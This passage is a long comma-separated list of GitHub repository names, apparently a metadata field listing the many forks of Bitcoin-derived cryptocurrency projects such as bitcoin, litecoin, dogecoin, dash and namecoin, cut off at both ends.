oin,vlajos\/bitcoin,qtumproject\/qtum,Vector2000\/bitcoin,pelorusjack\/BlockDX,trippysalmon\/bitcoin,nikkitan\/bitcoin,pastday\/bitcoinproject,senadmd\/coinmarketwatch,BTCfork\/hardfork_prototype_1_mvf-bu,DGCDev\/digitalcoin,mitchellcash\/bitcoin,sarielsaz\/sarielsaz,uphold\/bitcoin,jiangyonghang\/bitcoin,dcousens\/bitcoin,kleetus\/bitcoin,cyrixhero\/bitcoin,dannyperez\/bolivarcoin,jameshilliard\/bitcoin,sirk390\/bitcoin,ravenbyron\/phtevencoin,lbryio\/lbrycrd,Vsync-project\/Vsync,KaSt\/ekwicoin,40thoughts\/Coin-QualCoin,coinkeeper\/2015-06-22_18-36_darkcoin,florincoin\/florincoin,GroestlCoin\/bitcoin,nigeriacoin\/nigeriacoin,sickpig\/BitcoinUnlimited,martindale\/elements,ElementsProject\/elements,kleetus\/bitcoin,dgenr8\/bitcoin,reddcoin-project\/reddcoin,plncoin\/PLNcoin_Core,jimmykiselak\/lbrycrd,habibmasuro\/bitcoin,vericoin\/vericoin-core,scmorse\/bitcoin,markf78\/dollarcoin,jameshilliard\/bitcoin,domob1812\/bitcoin,AllanDoensen\/BitcoinUnlimited,pelorusjack\/BlockDX,sbaks0820\/bitcoin,neuroidss\/bitcoin,unsystemizer\/bitcoin,hophacker\/bitcoin_malleability,174high\/bitcoin,simdeveloper\/bitcoin,Flurbos\/Flurbo,tedlz123\/Bitcoin,ShwoognationHQ\/bitcoin,Kogser\/bitcoin,antcheck\/antcoin,wangxinxi\/litecoin,isocolsky\/bitcoinxt,Rav3nPL\/PLNcoin,alecalve\/bitcoin,adpg211\/bitcoin-master,koharjidan\/bitcoin,benzmuircroft\/REWIRE.io,tdudz\/elements,KnCMiner\/bitcoin,dgarage\/bc2,bitcoinsSG\/zcash,shea256\/bitcoin,habibmasuro\/bitcoinxt,zotherstupidguy\/bitcoin,knolza\/gamblr,sipa\/elements,octocoin-project\/octocoin,TheBlueMatt\/bitcoin,thesoftwarejedi\/bitcoin,irvingruan\/bitcoin,itmanagerro\/tresting,gandrewstone\/BitcoinUnlimited,royosherove\/bitcoinxt,genavarov\/ladacoin,zottejos\/merelcoin,josephbisch\/namecoin-core,brishtiteveja\/sherlockcoin,bitcoinclassic\/bitcoinclassic,trippysalmon\/bitcoin,genavarov\/brcoin,fsb4000\/bitcoin,vtafaucet\/virtacoin,ZiftrCOIN\/ziftrcoin,coinkeeper\/2015-06-22_18-39_feathercoin,wiggi\/huntercore,daliwangi\/bitcoin,Kixunil\/keynescoin,alejandromgk\/Lunar,dexX7\/mastercore,gjhiggins\/vcoincore,emc2foundation\/einsteinium,steakknife\/bitcoin-qt,amaivsimau\/bitcoin,sipa\/bitcoin,brandonrobertz\/namecoin-core,terracoin\/terracoin,RazorLove\/cloaked-octo-spice,bitcoinxt\/bitcoinxt,Petr-Economissa\/gvidon,coinkeeper\/2015-06-22_18-39_feathercoin,UASF\/bitcoin,reddcoin-project\/reddcoin,MikeAmy\/bitcoin,Kangmo\/bitcoin,djpnewton\/bitcoin,Xekyo\/bitcoin,mikehearn\/bitcoinxt,dscotese\/bitcoin,magacoin\/magacoin,Kangmo\/bitcoin,ryanofsky\/bitcoin,coinkeeper\/2015-06-22_18-36_darkcoin,joshrabinowitz\/bitcoin,dan-mi-sun\/bitcoin,BitcoinUnlimited\/BitcoinUnlimited,nvmd\/bitcoin,andres-root\/bitcoinxt,slingcoin\/sling-market,nikkitan\/bitcoin,dmrtsvetkov\/flowercoin,donaloconnor\/bitcoin,mb300sd\/bitcoin,omefire\/bitcoin,crowning-\/dash,arnuschky\/bitcoin,stevemyers\/bitcoinxt,mincoin-project\/mincoin,domob1812\/i0coin,capitalDIGI\/DIGI-v-0-10-4,robvanbentem\/bitcoin,se3000\/bitcoin,untrustbank\/litecoin,pouta\/bitcoin,mikehearn\/bitcoin,Rav3nPL\/PLNcoin,my-first\/octocoin,simdeveloper\/bitcoin,domob1812\/huntercore,Thracky\/monkeycoin,puticcoin\/putic,gavinandresen\/bitcoin-git,BitcoinUnlimited\/BitcoinUnlimited,dashpay\/dash,czr5014iph\/bitcoin4e,senadmd\/coinmarketwatch,Alonzo-Coeus\/bitcoin,antcheck\/antcoin,m0gliE\/fastcoin-cli,prusnak\/bitcoin,cannabiscoindev\/cannabiscoin420,prusnak\/bitcoin,trippysalmon\/bitcoin,Rav3nPL\/doubloons-0.10,butterflypay\/bitcoin,MikeAmy\/bitcoin,RyanLucchese\/energi,BTCGPU\/BTCGPU,Rav3nPL\/bitcoin,ahmedbodi\/temp_vert,faircoin\/faircoin,coinerd\/krugercoin,Rav3nPL\/bitcoin,unsystemizer\/bitcoin,pouta\/bitcoin,digibyte\/digibyte,knolza\/gamblr,randy-waterhouse\/bitcoin,MarcoFalke\/bitcoin,daveperkins-github\/bitcoin-dev,ZiftrCOIN\/ziftrcoin,Vsync-project\/Vsync,guncoin\/guncoin,Bloom-Project\/Bloom,CryptArc\/bitcoinxt,constantine001\/bitcoin,gmaxwell\/bitcoin,bcpki\/testblocks,jonasnick\/bitcoin,matlongsi\/micropay,antonio-fr\/bitcoin,shouhuas\/bitcoin,bitreserve\/bitcoin,NicolasDorier\/bitcoin,MarcoFalke\/bitcoin,lbryio\/lbrycrd,litecoin-project\/bitcoinomg,odemolliens\/bitcoinxt,fedoracoin-dev\/fedoracoin,rnicoll\/dogecoin,worldbit\/worldbit,cqtenq\/feathercoin_core,Vsync-project\/Vsync,mitchellcash\/bitcoin,Exgibichi\/statusquo,GroestlCoin\/GroestlCoin,starwels\/starwels,DGCDev\/argentum,initaldk\/bitcoin,tropa\/axecoin,dmrtsvetkov\/flowercoin,MikeAmy\/bitcoin,SoreGums\/bitcoinxt,isghe\/bitcoinxt,2XL\/bitcoin,andreaskern\/bitcoin,Alex-van-der-Peet\/bitcoin,deuscoin\/deuscoin,mycointest\/owncoin,Kenwhite23\/litecoin,ionomy\/ion,lclc\/bitcoin,particl\/particl-core,Cloudsy\/bitcoin,ptschip\/bitcoinxt,sstone\/bitcoin,kirkalx\/bitcoin,Anfauglith\/iop-hd,dexX7\/bitcoin,drwasho\/bitcoinxt,grumpydevelop\/singularity,gravio-net\/graviocoin,acid1789\/bitcoin,mikehearn\/bitcoinxt,funkshelper\/woodcoin-b,jonghyeopkim\/bitcoinxt,Anfauglith\/iop-hd,wangxinxi\/litecoin,Rav3nPL\/bitcoin,Bitcoinsulting\/bitcoinxt,JeremyRand\/namecore,syscoin\/syscoin2,inutoshi\/inutoshi,NunoEdgarGub1\/elements,keo\/bitcoin,coinkeeper\/2015-06-22_18-39_feathercoin,Har01d\/bitcoin,trippysalmon\/bitcoin,wbchen99\/bitcoin-hnote0,dogecoin\/dogecoin,tmagik\/catcoin,peercoin\/peercoin,Theshadow4all\/ShadowCoin,Mrs-X\/PIVX,cheehieu\/bitcoin,loxal\/zcash,RHavar\/bitcoin,gmaxwell\/bitcoin,benzmuircroft\/REWIRE.io,neuroidss\/bitcoin,untrustbank\/litecoin,haisee\/dogecoin,LIMXTEC\/DMDv3,isghe\/bitcoinxt,freelion93\/mtucicoin,zottejos\/merelcoin,Kore-Core\/kore,pascalguru\/florincoin,haobtc\/bitcoin,bitcoinsSG\/zcash,bitcoinplusorg\/xbcwalletsource,cybermatatu\/bitcoin,prark\/bitcoinxt,chaincoin\/chaincoin,Gazer022\/bitcoin,iosdevzone\/bitcoin,TripleSpeeder\/bitcoin,genavarov\/ladacoin,nailtaras\/nailcoin,brandonrobertz\/namecoin-core,cotner\/bitcoin,nathaniel-mahieu\/bitcoin,rebroad\/bitcoin,martindale\/elements,Thracky\/monkeycoin,tuaris\/bitcoin,projectinterzone\/ITZ,puticcoin\/putic,romanornr\/viacoin,welshjf\/bitcoin,nailtaras\/nailcoin,shelvenzhou\/BTCGPU,shea256\/bitcoin,Jeff88Ho\/bitcoin,collapsedev\/cashwatt,bmp02050\/ReddcoinUpdates,willwray\/dash,xawksow\/GroestlCoin,BitcoinUnlimited\/BitcoinUnlimited,ClusterCoin\/ClusterCoin,bittylicious\/bitcoin,langerhans\/dogecoin,nomnombtc\/bitcoin,cyrixhero\/bitcoin,royosherove\/bitcoinxt,jamesob\/bitcoin,theuni\/bitcoin,DMDcoin\/Diamond,llluiop\/bitcoin,Mirobit\/bitcoin,reddcoin-project\/reddcoin,HashUnlimited\/Einsteinium-Unlimited,phelix\/namecore,21E14\/bitcoin,metacoin\/florincoin,kirkalx\/bitcoin,appop\/bitcoin,tdudz\/elements,LIMXTEC\/DMDv3,bittylicious\/bitcoin,Kixunil\/keynescoin,coinkeeper\/2015-06-22_18-52_viacoin,Lucky7Studio\/bitcoin,superjudge\/bitcoin,marlengit\/BitcoinUnlimited,MazaCoin\/mazacoin-new,JeremyRubin\/bitcoin,schildbach\/bitcoin,kallewoof\/bitcoin,keesdewit82\/LasVegasCoin,OmniLayer\/omnicore,MonetaryUnit\/MUE-Src,joulecoin\/joulecoin,drwasho\/bitcoinxt,MasterX1582\/bitcoin-becoin,pataquets\/namecoin-core,Kangmo\/bitcoin,Mirobit\/bitcoin,prusnak\/bitcoin,BlockchainTechLLC\/3dcoin,core-bitcoin\/bitcoin,Christewart\/bitcoin,kleetus\/bitcoinxt,LIMXTEC\/DMDv3,willwray\/dash,myriadcoin\/myriadcoin,patricklodder\/dogecoin,NateBrune\/bitcoin-nate,mm-s\/bitcoin,superjudge\/bitcoin,stevemyers\/bitcoinxt,axelxod\/braincoin,NicolasDorier\/bitcoin,dashpay\/dash,tedlz123\/Bitcoin,zetacoin\/zetacoin,habibmasuro\/bitcoinxt,deadalnix\/bitcoin,sebrandon1\/bitcoin,174high\/bitcoin,sbaks0820\/bitcoin,HeliumGas\/helium,btcdrak\/bitcoin,Mrs-X\/Darknet,ericshawlinux\/bitcoin,tjth\/lotterycoin,oklink-dev\/bitcoin_block,gavinandresen\/bitcoin-git,cryptoprojects\/ultimateonlinecash,sbellem\/bitcoin,sbellem\/bitcoin,dgarage\/bc3,Exceltior\/dogecoin,theuni\/bitcoin,hyperwang\/bitcoin,Mrs-X\/PIVX,ionomy\/ion,bankonmecoin\/bitcoin,NunoEdgarGub1\/elements,funkshelper\/woodcoin-b,jrick\/bitcoin,pinkevich\/dash,ptschip\/bitcoin,ajweiss\/bitcoin,tjps\/bitcoin,KaSt\/ekwicoin,gapcoin\/gapcoin,bitreserve\/bitcoin,NateBrune\/bitcoin-fio,n1bor\/bitcoin,bickojima\/bitzeny,sugruedes\/bitcoinxt,GreenParhelia\/bitcoin,TeamBitBean\/bitcoin-core,nsacoin\/nsacoin,Bitcoin-ABC\/bitcoin-abc,greencoin-dev\/digitalcoin,basicincome\/unpcoin-core,appop\/bitcoin,zander\/bitcoinclassic,marlengit\/hardfork_prototype_1_mvf-bu,Christewart\/bitcoin,jeromewu\/bitcoin-opennet,alecalve\/bitcoin,greencoin-dev\/digitalcoin,plncoin\/PLNcoin_Core,jameshilliard\/bitcoin,nigeriacoin\/nigeriacoin,pinheadmz\/bitcoin,GlobalBoost\/GlobalBoost,shea256\/bitcoin,senadmd\/coinmarketwatch,coinkeeper\/2015-06-22_19-07_digitalcoin,ivansib\/sibcoin,truthcoin\/blocksize-market,kleetus\/bitcoinxt,mitchellcash\/bitcoin,koharjidan\/dogecoin,vericoin\/vericoin-core,qtumproject\/qtum,OmniLayer\/omnicore,nlgcoin\/guldencoin-official,ericshawlinux\/bitcoin,imton\/bitcoin,meighti\/bitcoin,mycointest\/owncoin,Kore-Core\/kore,Kcoin-project\/kcoin,wangxinxi\/litecoin,Bitcoin-ABC\/bitcoin-abc,world-bank\/unpay-core,bickojima\/bitzeny,vericoin\/vericoin-core,TierNolan\/bitcoin,koharjidan\/litecoin,RyanLucchese\/energi,oklink-dev\/bitcoin,RongxinZhang\/bitcoinxt,segwit\/atbcoin-insight,DGCDev\/digitalcoin,elliotolds\/bitcoin,x-kalux\/bitcoin_WiG-B,vtafaucet\/virtacoin,xurantju\/bitcoin,inutoshi\/inutoshi,DMDcoin\/Diamond,litecoin-project\/litecore-litecoin,leofidus\/glowing-octo-ironman,wcwu\/bitcoin,nmarley\/dash,1185\/starwels,pouta\/bitcoin,monacoinproject\/monacoin,mockcoin\/mockcoin,mockcoin\/mockcoin,parvez3019\/bitcoin,Justaphf\/BitcoinUnlimited,ingresscoin\/ingresscoin,midnightmagic\/bitcoin,balajinandhu\/bitcoin,ArgonToken\/ArgonToken,janko33bd\/bitcoin,cculianu\/bitcoin-abc,bitcoinplusorg\/xbcwalletsource,dagurval\/bitcoinxt,ingresscoin\/ingresscoin,magacoin\/magacoin,haraldh\/bitcoin,vlajos\/bitcoin,ivansib\/sib16,spiritlinxl\/BTCGPU,karek314\/bitcoin,KibiCoin\/kibicoin,tjth\/lotterycoin,truthcoin\/truthcoin-cpp,amaivsimau\/bitcoin,xieta\/mincoin,jl2012\/litecoin,Diapolo\/bitcoin,wiggi\/huntercore,dperel\/bitcoin,DSPay\/DSPay,sbellem\/bitcoin,nightlydash\/darkcoin,ixcoinofficialpage\/master,nomnombtc\/bitcoin,bitcoinplusorg\/xbcwalletsource,ixcoinofficialpage\/master,droark\/bitcoin,JeremyRand\/namecore,dannyperez\/bolivarcoin,midnight-miner\/LasVegasCoin,FinalHashLLC\/namecore,cannabiscoindev\/cannabiscoin420,cdecker\/bitcoin,Vector2000\/bitcoin,gandrewstone\/BitcoinUnlimited,axelxod\/braincoin,OmniLayer\/omnicore,florincoin\/florincoin,freelion93\/mtucicoin,trippysalmon\/bitcoin,OstlerDev\/florincoin,royosherove\/bitcoinxt,safecoin\/safecoin,nvmd\/bitcoin,llluiop\/bitcoin,shelvenzhou\/BTCGPU,40thoughts\/Coin-QualCoin,jl2012\/litecoin,rebroad\/bitcoin,deuscoin\/deuscoin,NateBrune\/bitcoin-nate,tuaris\/bitcoin,yenliangl\/bitcoin,keo\/bitcoin,ppcoin\/ppcoin,ftrader-bitcoinabc\/bitcoin-abc,welshjf\/bitcoin,Petr-Economissa\/gvidon,aspanta\/bitcoin,pataquets\/namecoin-core,BitcoinHardfork\/bitcoin,digideskio\/namecoin,isocolsky\/bitcoinxt,metacoin\/florincoin,isghe\/bitcoinxt,awemany\/BitcoinUnlimited,GIJensen\/bitcoin,GlobalBoost\/GlobalBoost,spiritlinxl\/BTCGPU,pascalguru\/florincoin,zcoinofficial\/zcoin,sipsorcery\/bitcoin,likecoin-dev\/bitcoin,TBoehm\/greedynode,romanornr\/viacoin,sirk390\/bitcoin,vmp32k\/litecoin,thelazier\/dash,jmgilbert2\/energi,keesdewit82\/LasVegasCoin,ptschip\/bitcoin,fedoracoin-dev\/fedoracoin,Flowdalic\/bitcoin,Bitcoin-com\/BUcash,KaSt\/ekwicoin,Chancoin-core\/CHANCOIN,sipsorcery\/bitcoin,dashpay\/dash,rdqw\/sscoin,apoelstra\/elements,oklink-dev\/bitcoin_block,viacoin\/viacoin,2XL\/bitcoin,safecoin\/safecoin,jonasschnelli\/bitcoin,litecoin-project\/litecoin,MasterX1582\/bitcoin-becoin,destenson\/bitcoin--bitcoin,litecoin-project\/litecoin,HashUnlimited\/Einsteinium-Unlimited,Michagogo\/bitcoin,nlgcoin\/guldencoin-official,kallewoof\/elements,brishtiteveja\/truthcoin-cpp,wbchen99\/bitcoin-hnote0,nsacoin\/nsacoin,rnicoll\/bitcoin,rat4\/bitcoin,gapcoin\/gapcoin,zcoinofficial\/zcoin,patricklodder\/dogecoin,cqtenq\/feathercoin_core,putinclassic\/putic,Ziftr\/bitcoin,CryptArc\/bitcoinxt,sirk390\/bitcoin,GroundRod\/anoncoin,ZiftrCOIN\/ziftrcoin,apoelstra\/elements,AllanDoensen\/BitcoinUnlimited,Ziftr\/bitcoin,lakepay\/lake,BTCfork\/hardfork_prototype_1_mvf-bu,BitcoinPOW\/BitcoinPOW,butterflypay\/bitcoin,awemany\/BitcoinUnlimited,dan-mi-sun\/bitcoin,btc1\/bitcoin,PRabahy\/bitcoin,itmanagerro\/tresting,nailtaras\/nailcoin,accraze\/bitcoin,JeremyRubin\/bitcoin,bitjson\/hivemind,111t8e\/bitcoin,brishtiteveja\/sherlockcoin,r8921039\/bitcoin,wtogami\/bitcoin,ekankyesme\/bitcoinxt,BTCfork\/hardfork_prototype_1_mvf-bu,marcusdiaz\/BitcoinUnlimited,CoinProjects\/AmsterdamCoin-v4,kaostao\/bitcoin,syscoin\/syscoin,fussl\/elements,ahmedbodi\/test2,antcheck\/antcoin,nightlydash\/darkcoin,HeliumGas\/helium,kallewoof\/elements,Cocosoft\/bitcoin,CodeShark\/bitcoin,zottejos\/merelcoin,ahmedbodi\/terracoin,cerebrus29301\/crowncoin,reddcoin-project\/reddcoin,ardsu\/bitcoin,namecoin\/namecoin-core,mobicoins\/mobicoin-core,nsacoin\/nsacoin,bitjson\/hivemind,jeromewu\/bitcoin-opennet,pelorusjack\/BlockDX,xieta\/mincoin,goldcoin\/goldcoin,prusnak\/bitcoin,stevemyers\/bitcoinxt,coinkeeper\/2015-06-22_18-52_viacoin,bitcoinknots\/bitcoin,paveljanik\/bitcoin,joshrabinowitz\/bitcoin,marklai9999\/Taiwancoin,CoinProjects\/AmsterdamCoin-v4,JeremyRubin\/bitcoin,imton\/bitcoin,kaostao\/bitcoin,NicolasDorier\/bitcoin,wangxinxi\/litecoin,sugruedes\/bitcoinxt,digibyte\/digibyte,CTRoundTable\/Encrypted.Cash,fussl\/elements,cerebrus29301\/crowncoin,wtogami\/bitcoin,PRabahy\/bitcoin,ShwoognationHQ\/bitcoin,OstlerDev\/florincoin,thesoftwarejedi\/bitcoin,rnicoll\/bitcoin,hasanatkazmi\/bitcoin,npccoin\/npccoin,jmgilbert2\/energi,awemany\/BitcoinUnlimited,lclc\/bitcoin,nomnombtc\/bitcoin,funkshelper\/woodcoin-b,bcpki\/testblocks,phelix\/bitcoin,DMDcoin\/Diamond,blocktrail\/bitcoin,braydonf\/bitcoin,MasterX1582\/bitcoin-becoin,segsignal\/bitcoin,DigiByte-Team\/digibyte,ColossusCoinXT\/ColossusCoinXT,bitcoinec\/bitcoinec,gavinandresen\/bitcoin-git,benosa\/bitcoin,aniemerg\/zcash,funbucks\/notbitcoinxt,digideskio\/namecoin,thormuller\/yescoin2,daveperkins-github\/bitcoin-dev,REAP720801\/bitcoin,joshrabinowitz\/bitcoin,bespike\/litecoin,namecoin\/namecore,botland\/bitcoin,namecoin\/namecoin-core,ediston\/energi,masterbraz\/dg,h4x3rotab\/BTCGPU,benzmuircroft\/REWIRE.io,ahmedbodi\/vertcoin,DSPay\/DSPay,mycointest\/owncoin,habibmasuro\/bitcoin,dexX7\/bitcoin,matlongsi\/micropay,GreenParhelia\/bitcoin,itmanagerro\/tresting,Flurbos\/Flurbo,kazcw\/bitcoin,oklink-dev\/bitcoin_block,Flowdalic\/bitcoin,imton\/bitcoin,ixcoinofficialpage\/master,111t8e\/bitcoin,torresalyssa\/bitcoin,goku1997\/bitcoin,coinkeeper\/2015-06-22_18-31_bitcoin,thelazier\/dash,Exgibichi\/statusquo,kazcw\/bitcoin,DynamicCoinOrg\/DMC,CodeShark\/bitcoin,MazaCoin\/mazacoin-new,domob1812\/i0coin,Flowdalic\/bitcoin,rromanchuk\/bitcoinxt,worldbit\/worldbit,mruddy\/bitcoin,pelorusjack\/BlockDX,sipa\/elements,PIVX-Project\/PIVX,zixan\/bitcoin,Kcoin-project\/kcoin,ShadowMyst\/creativechain-core,Bitcoin-ABC\/bitcoin-abc,cyrixhero\/bitcoin,NateBrune\/bitcoin-nate,shaulkf\/bitcoin,joulecoin\/joulecoin,lbrtcoin\/albertcoin,Flurbos\/Flurbo,earonesty\/bitcoin,globaltoken\/globaltoken,AllanDoensen\/BitcoinUnlimited,2XL\/bitcoin,NateBrune\/bitcoin-fio,pinheadmz\/bitcoin,r8921039\/bitcoin,Bitcoin-ABC\/bitcoin-abc,vertcoin\/vertcoin,bitcoinplusorg\/xbcwalletsource,Kangmo\/bitcoin,czr5014iph\/bitcoin4e,gravio-net\/graviocoin,mockcoin\/mockcoin,jeromewu\/bitcoin-opennet,gazbert\/bitcoin,mm-s\/bitcoin,Alonzo-Coeus\/bitcoin,zsulocal\/bitcoin,marklai9999\/Taiwancoin,benma\/bitcoin,domob1812\/huntercore,supcoin\/supcoin,genavarov\/ladacoin,magacoin\/magacoin,ajtowns\/bitcoin,mikehearn\/bitcoinxt,gavinandresen\/bitcoin-git,ajtowns\/bitcoin,digibyte\/digibyte,joulecoin\/joulecoin,midnightmagic\/bitcoin,daliwangi\/bitcoin,jrmithdobbs\/bitcoin,capitalDIGI\/litecoin,GroestlCoin\/bitcoin,argentumproject\/argentum,cddjr\/BitcoinUnlimited,Kenwhite23\/litecoin,zetacoin\/zetacoin,brandonrobertz\/namecoin-core,daveperkins-github\/bitcoin-dev,joulecoin\/joulecoin,sirk390\/bitcoin,ajweiss\/bitcoin,JeremyRand\/bitcoin,nathaniel-mahieu\/bitcoin,Vector2000\/bitcoin,hophacker\/bitcoin_malleability,jimmykiselak\/lbrycrd,midnightmagic\/bitcoin,puticcoin\/putic,thrasher-\/litecoin,crowning-\/dash,domob1812\/namecore,RongxinZhang\/bitcoinxt,loxal\/zcash,ludbb\/bitcoin,syscoin\/syscoin,markf78\/dollarcoin,odemolliens\/bitcoinxt,psionin\/smartcoin,andreaskern\/bitcoin,Electronic-Gulden-Foundation\/egulden,UASF\/bitcoin,nightlydash\/darkcoin,ptschip\/bitcoin,wangxinxi\/litecoin,greenaddress\/bitcoin,DigitalPandacoin\/pandacoin,truthcoin\/truthcoin-cpp,zcoinofficial\/zcoin,inutoshi\/inutoshi,cqtenq\/feathercoin_core,cybermatatu\/bitcoin,theuni\/bitcoin,superjudge\/bitcoin,48thct2jtnf\/P,dgarage\/bc3,DSPay\/DSPay,mapineda\/litecoin,dexX7\/bitcoin,BTCDDev\/bitcoin,DynamicCoinOrg\/DMC,BitcoinHardfork\/bitcoin,se3000\/bitcoin,pinkevich\/dash,isocolsky\/bitcoinxt,BTCDDev\/bitcoin,Michagogo\/bitcoin,Rav3nPL\/polcoin,KnCMiner\/bitcoin,prark\/bitcoinxt,cryptoprojects\/ultimateonlinecash,earonesty\/bitcoin,TripleSpeeder\/bitcoin,ericshawlinux\/bitcoin,iosdevzone\/bitcoin,aspanta\/bitcoin,shouhuas\/bitcoin,mb300sd\/bitcoin,apoelstra\/bitcoin,RyanLucchese\/energi,Cocosoft\/bitcoin,cryptodev35\/icash,nailtaras\/nailcoin,Alonzo-Coeus\/bitcoin,Flowdalic\/bitcoin,bitpay\/bitcoin,pouta\/bitcoin,benzmuircroft\/REWIRE.io,BitcoinPOW\/BitcoinPOW,biblepay\/biblepay,okinc\/bitcoin,rustyrussell\/bitcoin,hsavit1\/bitcoin,worldbit\/worldbit,Kore-Core\/kore,wangxinxi\/litecoin,174high\/bitcoin,sbaks0820\/bitcoin,worldbit\/worldbit,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,brishtiteveja\/truthcoin-cpp,bmp02050\/ReddcoinUpdates,masterbraz\/dg,practicalswift\/bitcoin,collapsedev\/cashwatt,Kore-Core\/kore,droark\/bitcoin,coinkeeper\/2015-06-22_19-00_ziftrcoin,knolza\/gamblr,REAP720801\/bitcoin,earonesty\/bitcoin,TheBlueMatt\/bitcoin,BitzenyCoreDevelopers\/bitzeny,balajinandhu\/bitcoin,parvez3019\/bitcoin,meighti\/bitcoin,vmp32k\/litecoin,antcheck\/antcoin,MeshCollider\/bitcoin,segsignal\/bitcoin,segwit\/atbcoin-insight,Chancoin-core\/CHANCOIN,PIVX-Project\/PIVX,royosherove\/bitcoinxt,TheBlueMatt\/bitcoin,JeremyRand\/namecoin-core,koharjidan\/bitcoin,ppcoin\/ppcoin,ludbb\/bitcoin,antcheck\/antcoin,oklink-dev\/bitcoin,habibmasuro\/bitcoin,atgreen\/bitcoin,uphold\/bitcoin,tuaris\/bitcoin,oklink-dev\/bitcoin_block,pelorusjack\/BlockDX,jonasnick\/bitcoin,Jcing95\/iop-hd,xuyangcn\/opalcoin,hophacker\/bitcoin_malleability,namecoin\/namecore,rjshaver\/bitcoin,habibmasuro\/bitcoin,karek314\/bitcoin,midnightmagic\/bitcoin,core-bitcoin\/bitcoin,gameunits\/gameunits,koharjidan\/litecoin,ahmedbodi\/test2,bitreserve\/bitcoin,bitcoinsSG\/zcash,ryanxcharles\/bitcoin,scippio\/bitcoin,KnCMiner\/bitcoin,ptschip\/bitcoinxt,HashUnlimited\/Einsteinium-Unlimited,ediston\/energi,joulecoin\/joulecoin,koharjidan\/litecoin,coinwarp\/dogecoin,coinkeeper\/2015-06-22_18-36_darkcoin,TripleSpeeder\/bitcoin,krzysztofwos\/BitcoinUnlimited,AkioNak\/bitcoin,Sjors\/bitcoin,phplaboratory\/psiacoin,multicoins\/marycoin,paveljanik\/bitcoin,freelion93\/mtucicoin,Darknet-Crypto\/Darknet,PRabahy\/bitcoin,bitcoin-hivemind\/hivemind,mobicoins\/mobicoin-core,dgarage\/bc2,hsavit1\/bitcoin,sdaftuar\/bitcoin,constantine001\/bitcoin,llluiop\/bitcoin,OmniLayer\/omnicore,RibbitFROG\/ribbitcoin,lbrtcoin\/albertcoin,bankonmecoin\/bitcoin,benzmuircroft\/REWIRE.io,Theshadow4all\/ShadowCoin,elliotolds\/bitcoin,reorder\/viacoin,kleetus\/bitcoinxt,svost\/bitcoin,credits-currency\/credits,wiggi\/huntercore,sdaftuar\/bitcoin,11755033isaprimenumber\/Feathercoin,genavarov\/lamacoin,phelix\/bitcoin,r8921039\/bitcoin,mrbandrews\/bitcoin,CryptArc\/bitcoin,SartoNess\/BitcoinUnlimited,putinclassic\/putic,ravenbyron\/phtevencoin,oklink-dev\/bitcoin_block,thesoftwarejedi\/bitcoin,nbenoit\/bitcoin,crowning2\/dash,DigitalPandacoin\/pandacoin,genavarov\/brcoin,dan-mi-sun\/bitcoin,langerhans\/dogecoin,jarymoth\/dogecoin,knolza\/gamblr,vcoin-project\/vcoincore,cheehieu\/bitcoin,okinc\/bitcoin,cryptodev35\/icash,kazcw\/bitcoin,zcoinofficial\/zcoin,kirkalx\/bitcoin,zcoinofficial\/zcoin,fussl\/elements,RHavar\/bitcoin,daliwangi\/bitcoin,pstratem\/elements,GwangJin\/gwangmoney-core,Sjors\/bitcoin,Cocosoft\/bitcoin,zenywallet\/bitzeny,vlajos\/bitcoin,goku1997\/bitcoin,myriadcoin\/myriadcoin,Bitcoin-ABC\/bitcoin-abc,practicalswift\/bitcoin,coinkeeper\/2015-06-22_18-31_bitcoin,initaldk\/bitcoin,grumpydevelop\/singularity,ptschip\/bitcoinxt,presstab\/PIVX,haisee\/dogecoin,reddink\/reddcoin,upgradeadvice\/MUE-Src,bitreserve\/bitcoin,REAP720801\/bitcoin,Anfauglith\/iop-hd,domob1812\/huntercore,cerebrus29301\/crowncoin,ZiftrCOIN\/ziftrcoin,knolza\/gamblr,DogTagRecon\/Still-Leraning,x-kalux\/bitcoin_WiG-B,Jeff88Ho\/bitcoin,Thracky\/monkeycoin,tedlz123\/Bitcoin,bitcoin\/bitcoin,emc2foundation\/einsteinium,truthcoin\/truthcoin-cpp,globaltoken\/globaltoken,RazorLove\/cloaked-octo-spice,truthcoin\/blocksize-market,syscoin\/syscoin,Jcing95\/iop-hd,metacoin\/florincoin,leofidus\/glowing-octo-ironman,rnicoll\/dogecoin,pstratem\/bitcoin,practicalswift\/bitcoin,sickpig\/BitcoinUnlimited,gandrewstone\/bitcoinxt,denverl\/bitcoin,GreenParhelia\/bitcoin,accraze\/bitcoin,skaht\/bitcoin,fsb4000\/bitcoin,chaincoin\/chaincoin,karek314\/bitcoin,oklink-dev\/bitcoin_block,thelazier\/dash,Anoncoin\/anoncoin,fullcoins\/fullcoin,diggcoin\/diggcoin,bitcoinsSG\/zcash,kbccoin\/kbc,rnicoll\/bitcoin,antonio-fr\/bitcoin,TGDiamond\/Diamond,atgreen\/bitcoin,bcpki\/nonce2,wcwu\/bitcoin,cddjr\/BitcoinUnlimited,ravenbyron\/phtevencoin,mycointest\/owncoin,tropa\/axecoin,fanquake\/bitcoin,Bushstar\/UFO-Project,Electronic-Gulden-Foundation\/egulden,GIJensen\/bitcoin,RibbitFROG\/ribbitcoin,RibbitFROG\/ribbitcoin,Lucky7Studio\/bitcoin,digideskio\/namecoin,mastercoin-MSC\/mastercore,KibiCoin\/kibicoin,GroestlCoin\/GroestlCoin,Kogser\/bitcoin,laudaa\/bitcoin,magacoin\/magacoin,imton\/bitcoin,tmagik\/catcoin,xawksow\/GroestlCoin,mincoin-project\/mincoin,Sjors\/bitcoin,janko33bd\/bitcoin,meighti\/bitcoin,bankonmecoin\/bitcoin,droark\/bitcoin,goldcoin\/Goldcoin-GLD,namecoin\/namecore,basicincome\/unpcoin-core,BitcoinUnlimited\/BitcoinUnlimited,lateminer\/bitcoin,zixan\/bitcoin,pataquets\/namecoin-core,TeamBitBean\/bitcoin-core,emc2foundation\/einsteinium,credits-currency\/credits,irvingruan\/bitcoin,vertcoin\/vertcoin,CodeShark\/bitcoin,ShadowMyst\/creativechain-core,fedoracoin-dev\/fedoracoin,mruddy\/bitcoin,jonasnick\/bitcoin,myriadcoin\/myriadcoin,riecoin\/riecoin,BigBlueCeiling\/augmentacoin,florincoin\/florincoin,simonmulser\/bitcoin,starwels\/starwels,RazorLove\/cloaked-octo-spice,syscoin\/syscoin2,MonetaryUnit\/MUE-Src,goldcoin\/Goldcoin-GLD,brandonrobertz\/namecoin-core,jakeva\/bitcoin-pwcheck,174high\/bitcoin,11755033isaprimenumber\/Feathercoin,thormuller\/yescoin2,CryptArc\/bitcoin,2X